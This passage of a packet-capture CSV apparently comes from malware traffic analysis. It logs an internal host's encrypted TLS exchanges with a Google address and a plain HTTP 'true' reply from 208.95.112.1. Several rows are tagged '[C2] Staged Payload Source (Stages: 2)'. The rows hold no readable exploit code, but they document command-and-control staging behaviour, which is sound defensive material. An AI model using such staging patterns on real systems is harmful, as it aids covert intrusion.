{\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42971, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20049, \"\"src\"\": \"\"216.58.201.197\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63950, \"\"seq\"\": 2455735885, \"\"ack\"\": 2755293662, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 61, \"\"chksum\"\": 17598, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:16.155010,19,TCP 10.152.152.11:63950 -> 216.58.201.197:443,10.152.152.11,216.58.201.197,63950,443,TCP,Internal,Private Network,,,,,,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2755293662 Ack=2455735885,bc24112907bbbc2411360d0c0800450003ac8a184000800628900a98980bd83ac9c5f9ce01bba43a71de925f8e4d5018200f32920000170303037f0af3d13c45d3d2c24b3e3789fee61dfa23b5e048dac6a204b57fd4eec86119c94a4491468d8af206b5bf3199a4a28b71f13ffecf1b63f01ea0ad30b9f4972d39390899c39e2bacdad432d0bbcbec65aec9e88a8502a01a705da660f34ea9b9cd6e4fe59337575fe6fcac3be30c33397400f29b2f8a3f0b4a5bcb9fc6008c94326e1f3177757ab1649c3155777f56a0572a0489f5d22853adbce1d500e0b9c2d5f2bb8cadba50fd015ede994fadc805aef9c8210903052518f50286940c359762cd3f3309be0e82741fcaf21b463eaae8ead9fa4ec7aa4313486c91677b38872ae0e840958b3076416df9739a0820f94d94c72b2d1f460990e8b1a1ab56b5ca527635ee4bd05416bd7f9426dc1c8f500a906b84ef7816c2702661af5053d6745c2d69bf72d19fc40083d5f316dab0ee553c9e1d69cbd39baffe4ca7c2b2d18c66cbbcdea36946376af53077346e5618c940260125d3fc72ff074025d8ad5037ec248850b67389f37e3b159018f1fd985be6e42933a71b1ee736d954a1c31667567ec46a026f031df84c8eb773397d5fd779f36db8a8da1b3d42076b5fb86f08114db0dcefabcb74c84497124ab38e60006d2efc262ad96c536456267d95921447fece608f0983769b5ddcf595de26a7f2f68cdb0aa16b251eb30f81c80a2b792f44f17414eeb1bbaaa4ab9c72cbf74df7e87ba0d407ce3e1399d509b375a241217a091bc7d36a211dcbab2ec1db25d6b7120cacc794eeb5d4892e56c73030735474e658bb38e8e123acce421ce9d928bfb56b9f812d94cc8ccf66eb3822540139aec78ea12015a1a4f61d5186ed564ff6d9c0d60d274b6f3eb04c520d34ad84ad879619bbc2af4d18473684b2e0c3c00e72a86c16142310ba6d89112bb266e09d801f97cf8327f26347dde54cedb3a4f2c64426afff2abf4abd669010fd36f27a9a003a5a9985d70b6bb52752e4a530ffe950ff0a880133cd7211927ecaaed7bf3a9f1da848d58e4e2c0ebaa49358c19b4da18b7b0e08dc0306ee7c760a6b54413fd540c641e1b11ddf65d4ef4f6bedb4612a6b8a5612879e6d74d7db41fd9862f9c22d7ede06b72f4061b595d80ae32c5b58140a639ef5ec90d6910283b6035d995de15ad81c100f54306252f9ce9041f3e3de1a2352450a89542df3e7b75228e849455fdf42a089ef9b461460e05722f5f1bb42825f7f3c5640186f6a48f6c55af6a30c40098f3a25455d334c559249eb50c2f646f9d044c09de0937be728,\".$.)...$.6\n...E.....@...(.\n....:.......:q.._.MP. .2........\n..<E...K>7.....#..H.........a..JD.F......1....q.?...c....0...-99....+...2....e........p].`.N...nO..7W_...;..39t.../.?.J[......2n.1wuz.d.1Uw.V.W*....(S..............P..^..O......!\t..%......5.b.?3\t...t....F>.....N..C.Hl.g{8.*..@..0vAm.s.. .M..+-.F\t.....V..Rv5.K.T....&...P\n.k..x..p&a.PS.t\\-i.r...........U<..i.....L.....f....iF7j.0w4nV..@&.%..r..@%..P7.$.P.s..~;......[..)3....6.T...gV~.j.o...L..s9}_.y.m....=B.k_.o..M.....t.D..J..`.m..&*.lSdV&}...G..`.\t.v.]....&.....\n.k%.....\n+y/D.t........r..M..{....>...\t.u.A!z\t...j!......%............V.00sTt.X.8..#..B...(..k..-....f.8\"\"T.9.... .....Q..VO....\n'Ko>.LR\n4.........M.G6......r.l..#..m..+.f.......'.cG..L.....D&..*.J.f...6.z..:Z....k.'R..0..P.\n..3.r..~....:...H..N,....X..M..{......|v\nkTA?.@.A....e..Ok..a*k.V...mt..A..b..-~.../@a...\n.,[X.\nc..........].].Z....T0bR...A....#RE\n.T-...R(.IE_.B....F.`.W\"\"...B._.<V@.ojH..Z...@\t.:%E]3LU.I.P..F..D....{.(\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 940, \"\"id\"\": 35352, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10384, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"216.58.201.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63950, \"\"dport\"\": 443, \"\"seq\"\": 2755293662, \"\"ack\"\": 2455735885, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8207, \"\"chksum\"\": 12946, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 895, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\n\\\\xf3\\\\xd1<E\\\\xd3\\\\xd2\\\\xc2K>7\\\\x89\\\\xfe\\\\xe6\\\\x1d\\\\xfa#\\\\xb5\\\\xe0H\\\\xda\\\\xc6\\\\xa2\\\\x04\\\\xb5\\\\x7f\\\\xd4\\\\xee\\\\xc8a\\\\x19\\\\xc9JD\\\\x91F\\\\x8d\\\\x8a\\\\xf2\\\\x06\\\\xb5\\\\xbf1\\\\x99\\\\xa4\\\\xa2\\\\x8bq\\\\xf1?\\\\xfe\\\\xcf\\\\x1bc\\\\xf0\\\\x1e\\\\xa0\\\\xad0\\\\xb9\\\\xf4\\\\x97-99\\\\x08\\\\x99\\\\xc3\\\\x9e+\\\\xac\\\\xda\\\\xd42\\\\xd0\\\\xbb\\\\xcb\\\\xece\\\\xae\\\\xc9\\\\xe8\\\\x8a\\\\x85\\\\x02\\\\xa0\\\\x1ap]\\\\xa6`\\\\xf3N\\\\xa9\\\\xb9\\\\xcdnO\\\\xe5\\\\x937W_\\\\xe6\\\\xfc\\\\xac;\\\\xe3\\\\x0c39t\\\\x00\\\\xf2\\\\x9b/\\\\x8a?\\\\x0bJ[\\\\xcb\\\\x9f\\\\xc6\\\\x00\\\\x8c\\\\x942n\\\\x1f1wuz\\\\xb1d\\\\x9c1Uw\\\\x7fV\\\\xa0W*\\\\x04\\\\x89\\\\xf5\\\\xd2(S\\\\xad\\\\xbc\\\\xe1\\\\xd5\\\\x00\\\\xe0\\\\xb9\\\\xc2\\\\xd5\\\\xf2\\\\xbb\\\\x8c\\\\xad\\\\xbaP\\\\xfd\\\\x01^\\\\xde\\\\x99O\\\\xad\\\\xc8\\\\x05\\\\xae\\\\xf9\\\\xc8!\\\\t\\\\x03\\\\x05%\\\\x18\\\\xf5\\\\x02\\\\x86\\\\x94\\\\x0c5\\\\x97b\\\\xcd?3\\\\t\\\\xbe\\\\x0e\\\\x82t\\\\x1f\\\\xca\\\\xf2\\\\x1bF>\\\\xaa\\\\xe8\\\\xea\\\\xd9\\\\xfaN\\\\xc7\\\\xaaC\\\\x13Hl\\\\x91g{8\\\\x87*\\\\xe0\\\\xe8@\\\\x95\\\\x8b0vAm\\\\xf9s\\\\x9a\\\\x08 \\\\xf9M\\\\x94\\\\xc7+-\\\\x1fF\\\\t\\\\x90\\\\xe8\\\\xb1\\\\xa1\\\\xabV\\\\xb5\\\\xcaRv5\\\\xeeK\\\\xd0T\\\\x16\\\\xbd\\\\x7f\\\\x94&\\\\xdc\\\\x1c\\\\x8fP\\\\n\\\\x90k\\\\x84\\\\xefx\\\\x16\\\\xc2p&a\\\\xafPS\\\\xd6t\\\\\\\\-i\\\\xbfr\\\\xd1\\\\x9f\\\\xc4\\\\x00\\\\x83\\\\xd5\\\\xf3\\\\x16\\\\xda\\\\xb0\\\\xeeU<\\\\x9e\\\\x1di\\\\xcb\\\\xd3\\\\x9b\\\\xaf\\\\xfeL\\\\xa7\\\\xc2\\\\xb2\\\\xd1\\\\x8cf\\\\xcb\\\\xbc\\\\xde\\\\xa3iF7j\\\\xf50w4nV\\\\x18\\\\xc9@&\\\\x01%\\\\xd3\\\\xfcr\\\\xff\\\\x07@%\\\\xd8\\\\xadP7\\\\xec$\\\\x88P\\\\xb6s\\\\x89\\\\xf3~;\\\\x15\\\\x90\\\\x18\\\\xf1\\\\xfd\\\\x98[\\\\xe6\\\\xe4)3\\\\xa7\\\\x1b\\\\x1e\\\\xe76\\\\xd9T\\\\xa1\\\\xc3\\\\x16gV~\\\\xc4j\\\\x02o\\\\x03\\\\x1d\\\\xf8L\\\\x8e\\\\xb7s9}_\\\\xd7y\\\\xf3m\\\\xb8\\\\xa8\\\\xda\\\\x1b=B\\\\x07k_\\\\xb8o\\\\x08\\\\x11M\\\\xb0\\\\xdc\\\\xef\\\\xab\\\\xcbt\\\\xc8D\\\\x97\\\\x12J\\\\xb3\\\\x8e`\\\\x00m.\\\\xfc&*\\\\xd9lSdV&}\\\\x95\\\\x92\\\\x14G\\\\xfe\\\\xce`\\\\x8f\\\\t\\\\x83v\\\\x9b]\\\\xdc\\\\xf5\\\\x95\\\\xde&\\\\xa7\\\\xf2\\\\xf6\\\\x8c\\\\xdb\\\\n\\\\xa1k%\\\\x1e\\\\xb3\\\\x0f\\\\x81\\\\xc8\\\\n+y/D\\\\xf1t\\\\x14\\\\xee\\\\xb1\\\\xbb\\\\xaa\\\\xa4\\\\xab\\\\x9cr\\\\xcb\\\\xf7M\\\\xf7\\\\xe8{\\\\xa0\\\\xd4\\\\x07\\\\xce>\\\\x13\\\\x99\\\\xd5\\\\t\\\\xb3u\\\\xa2A!z\\\\t\\\\x1b\\\\xc7\\\\xd3j!\\\\x1d\\\\xcb\\\\xab.\\\\xc1\\\\xdb%\\\\xd6\\\\xb7\\\\x12\\\\x0c\\\\xac\\\\xc7\\\\x94\\\\xee\\\\xb5\\\\xd4\\\\x89.V\\\\xc700sTt\\\\xe6X\\\\xbb8\\\\xe8\\\\xe1#\\\\xac\\\\xceB\\\\x1c\\\\xe9\\\\xd9(\\\\xbf\\\\xb5k\\\\x9f\\\\x81-\\\\x94\\\\xcc\\\\x8c\\\\xcff\\\\xeb8\\\"\"T\\\\x019\\\\xae\\\\xc7\\\\x8e\\\\xa1 \\\\x15\\\\xa1\\\\xa4\\\\xf6\\\\x1dQ\\\\x86\\\\xedVO\\\\xf6\\\\xd9\\\\xc0\\\\xd6\\\\r\\\\'Ko>\\\\xb0LR\\\\r4\\\\xad\\\\x84\\\\xad\\\\x87\\\\x96\\\\x19\\\\xbb\\\\xc2\\\\xafM\\\\x18G6\\\\x84\\\\xb2\\\\xe0\\\\xc3\\\\xc0\\\\x0er\\\\xa8l\\\\x16\\\\x14#\\\\x10\\\\xbam\\\\x89\\\\x11+\\\\xb2f\\\\xe0\\\\x9d\\\\x80\\\\x1f\\\\x97\\\\xcf\\\\x83\\\\'\\\\xf2cG\\\\xdd\\\\xe5L\\\\xed\\\\xb3\\\\xa4\\\\xf2\\\\xc6D&\\\\xaf\\\\xff*\\\\xbfJ\\\\xbdf\\\\x90\\\\x10\\\\xfd6\\\\xf2z\\\\x9a\\\\x00:Z\\\\x99\\\\x85\\\\xd7\\\\x0bk\\\\xb5\\\\'R\\\\xe4\\\\xa50\\\\xff\\\\xe9P\\\\xff\\\\n\\\\x88\\\\x013\\\\xcdr\\\\x11\\\\x92~\\\\xca\\\\xae\\\\xd7\\\\xbf:\\\\x9f\\\\x1d\\\\xa8H\\\\xd5\\\\x8eN,\\\\x0e\\\\xba\\\\xa4\\\\x93X\\\\xc1\\\\x9bM\\\\xa1\\\\x8b{\\\\x0e\\\\x08\\\\xdc\\\\x03\\\\x06\\\\xee|v\\\\nkTA?\\\\xd5@\\\\xc6A\\\\xe1\\\\xb1\\\\x1d\\\\xdfe\\\\xd4\\\\xefOk\\\\xed\\\\xb4a*k\\\\x8aV\\\\x12\\\\x87\\\\x9emt\\\\xd7\\\\xdbA\\\\xfd\\\\x98b\\\\xf9\\\\xc2-~\\\\xde\\\\x06\\\\xb7/@a\\\\xb5\\\\x95\\\\xd8\\\\n\\\\xe3,[X\\\\x14\\\\nc\\\\x9e\\\\xf5\\\\xec\\\\x90\\\\xd6\\\\x91\\\\x02\\\\x83\\\\xb6\\\\x03]\\\\x99]\\\\xe1Z\\\\xd8\\\\x1c\\\\x10\\\\x0fT0bR\\\\xf9\\\\xce\\\\x90A\\\\xf3\\\\xe3\\\\xde\\\\x1a#RE\\\\n\\\\x89T-\\\\xf3\\\\xe7\\\\xb7R(\\\\xe8IE_\\\\xdfB\\\\xa0\\\\x89\\\\xef\\\\x9bF\\\\x14`\\\\xe0W\\\"\"\\\\xf5\\\\xf1\\\\xbbB\\\\x82_\\\\x7f<V@\\\\x18ojH\\\\xf6\\\\xc5Z\\\\xf6\\\\xa3\\\\x0c@\\\\t\\\\x8f:%E]3LU\\\\x92I\\\\xebP\\\\xc2\\\\xf6F\\\\xf9\\\\xd0D\\\\xc0\\\\x9d\\\\xe0\\\\x93{\\\\xe7(' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-07-19 08:08:16.155029,20,TCP 216.58.201.197:443 -> 10.152.152.11:63950,216.58.201.197,10.152.152.11,443,63950,TCP,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2455735885 Ack=2755294562,bc2411360d0cbc24112907bb080045000028a7dc400040064e50d83ac9c50a98980b01bbf9ce925f8e4da43a75625010003d44be0000,\".$.6\n..$.)....E..(..@.@.NP.:..\n........_.M.:ubP..=D...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42972, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20048, \"\"src\"\": \"\"216.58.201.197\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63950, \"\"seq\"\": 2455735885, \"\"ack\"\": 2755294562, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 61, \"\"chksum\"\": 17598, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:16.273246,21,TCP 208.95.112.1:80 -> 10.152.152.11:63963,208.95.112.1,10.152.152.11,80,63963,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,bc2411360d0cbc24112907bb0800450000d60e524000400648ccd05f70010a98980b0050f9dbf27bf59bb41101715018003fe3cc0000485454502f312e3120323030204f4b0d0a446174653a2053756e2c203139204a756c20323032362030383a30383a313520474d540d0a436f6e74656e742d547970653a20746578742f706c61696e3b20636861727365743d7574662d380d0a436f6e74656e742d4c656e6774683a20350d0a4163636573732d436f6e74726f6c2d416c6c6f772d4f726967696e3a202a0d0a582d54746c3a2036300d0a582d526c3a2034340d0a0d0a747275650a,\"true\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 214, \"\"id\"\": 3666, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 18636, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 63963, \"\"seq\"\": 4068210075, \"\"ack\"\": 3021013361, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 58316, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": \"\"*\"\", \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"5\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"text/plain; charset=utf-8\"\", \"\"Date\"\": \"\"Sun, 19 Jul 2026 08:08:15 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": null, \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": null, \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": \"\"{b'X-Ttl': b'60', b'X-Rl': b'44'}\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"true\\n\"\"}}]\"\n2026-07-19 08:08:16.294019,22,TCP 216.58.201.197:443 -> 10.152.152.11:63950,216.58.201.197,10.152.152.11,443,63950,TCP,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=2455735885 Ack=2755294562,bc2411360d0cbc24112907bb080045000210a7dd400040064c67d83ac9c50a98980b01bbf9ce925f8e4da43a75625018003d46a60000170303037d0bbda9e922526b5c98ed8504065a3027f4552b37604bb0cc50e08abe6ecb3745c65846a5d880d1a31f923546d3db34267668f40d5a50faeaec17082348c738bf35ec7cfd428c5ef95d76e1494afe890063893b421d3b73f5f00bfa8372932ed515f5030db690b9d0766b0293930a30d5b5330895519a1ff858704d7c2a7cda8b8113236bad61a2c7e4dcb8837df4e1838fcc06b3cb13bf7bae6adf9d2d6f12e17f913741febc9b1543e63f2702d35ee3f395aa3aa3828dc76045949828ea78da34d1d4a610a2a2453215d91c93cffc0c77c55c9365f1fba25c8cd37319f52419b4336e89c4c474e658647892d9ded4665b7a1473e86b9bc91d1dbbda240cc2350b366f0ff1de74b457913307ee6dd0e568fac5ccffe765419954a101d123487bd585a4419236a160cbb3fb2b90e677a9207b4f034ec4b9f06cccbc653e3ade0a4bf55764c5d1fd768e54a676afca6ac9924afb2214cbcc1519739c2ff122e681b144038f70fac59925af3aaec8aa8163cbc858f1478000de523a6709ffd699ba172fd9f21c95dadd4d76d192182cfd4934dd9814a17fcc28ec0e859c85092463cdd5105d7d404f08c23a10ddb99c662979a590856d76cfe3a2bb5665195a5779ff2cac77a50bda4c87fd5b8e67048808972b8f30d2b578b92ed498ef765d96afe81c2b,\".$.6\n..$.)....E.....@.@.Lg.:..\n........_.M.:ubP..=F.......}....\"\"Rk\\.....Z0'.U+7`K..P...n.7E.XF.......5F..4&vh.\nZP.....#H.8.5.|.B.^.]v.IJ...c.;B.;s.....r......\n....vk...\n0..3..Q...XpM|*|....#k.a......}..........{.j..-o....7A....C.?'..^....:....`E..(.x.4......E2.......w.\\.e...\\..s..$..3n...t.Xdx....f[z.s.k......$..5.6o...t.W.3..m..h.....eA.T...#H{...A.6.`...+..w. {O.N...l..e>:.\nK.Wd...v.T.v..j..J.\"\".....s./.\"\"...D..p...%.:....c..X.G...R:g\t...../......Mv...,.I4......(.....\t$c...]}@O..:....f)y...mv....Ve.ZWy.,.w...L..[.g....+.0..x.....v]....+\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 528, \"\"id\"\": 42973, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19559, \"\"src\"\": \"\"216.58.201.197\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63950, \"\"seq\"\": 2455735885, \"\"ack\"\": 2755294562, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 61, \"\"chksum\"\": 18086, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"170303037d0bbda9e922526b5c98ed8504065a3027f4552b37604bb0cc50e08abe6ecb3745c65846a5d880d1a31f923546d3db34267668f40d5a50faeaec17082348c738bf35ec7cfd428c5ef95d76e1494afe890063893b421d3b73f5f00bfa8372932ed515f5030db690b9d0766b0293930a30d5b5330895519a1ff858704d7c2a7cda8b8113236bad61a2c7e4dcb8837df4e1838fcc06b3cb13bf7bae6adf9d2d6f12e17f913741febc9b1543e63f2702d35ee3f395aa3aa3828dc76045949828ea78da34d1d4a610a2a2453215d91c93cffc0c77c55c9365f1fba25c8cd37319f52419b4336e89c4c474e658647892d9ded4665b7a1473e86b9bc91d1dbbda240cc2350b366f0ff1de74b457913307ee6dd0e568fac5ccffe765419954a101d123487bd585a4419236a160cbb3fb2b90e677a9207b4f034ec4b9f06cccbc653e3ade0a4bf55764c5d1fd768e54a676afca6ac9924afb2214cbcc1519739c2ff122e681b144038f70fac59925af3aaec8aa8163cbc858f1478000de523a6709ffd699ba172fd9f21c95dadd4d76d192182cfd4934dd9814a17fcc28ec0e859c85092463cdd5105d7d404f08c23a10ddb99c662979a590856d76cfe3a2bb5665195a5779ff2cac77a50bda4c87fd5b8e67048808972b8f30d2b578b92ed498ef765d96afe81c2b\"\"}}]\"\n2026-07-19 08:08:16.317738,23,TCP 10.152.152.11:63963 -> 208.95.112.1:80,10.152.152.11,208.95.112.1,63963,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,A,,,Ether > IP > TCP,3,TCP A Seq=3021013361 Ack=4068210249,bc24112907bbbc2411360d0c080045000028f11c4000800626af0a98980bd05f7001f9db0050b4110171f27bf6495010201314490000,\".$.)...$.6\n...E..(..@...&.\n...._p....P...q.{.IP. ..I..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61724, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 9903, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 80, \"\"seq\"\": 3021013361, \"\"ack\"\": 4068210249, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8211, \"\"chksum\"\": 5193, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:16.349002,24,TCP 10.152.152.11:63950 -> 216.58.201.197:443,10.152.152.11,216.58.201.197,63950,443,TCP,Internal,Private Network,,,,,,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,A,,,Ether > IP > TCP,3,TCP A Seq=2755294562 Ack=2455736373,bc24112907bbbc2411360d0c0800450000288a19400080062c130a98980bd83ac9c5f9ce01bba43a7562925f90355010201413610000,\".$.)...$.6\n...E..(..@...,.\n....:.......:ub._.5P. ..a..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35353, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11283, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"216.58.201.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63950, \"\"dport\"\": 443, \"\"seq\"\": 2755294562, \"\"ack\"\": 2455736373, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 4961, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:16.349009,25,TCP 216.58.201.197:443 -> 10.152.152.11:63950,216.58.201.197,10.152.152.11,443,63950,TCP,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=2455736373 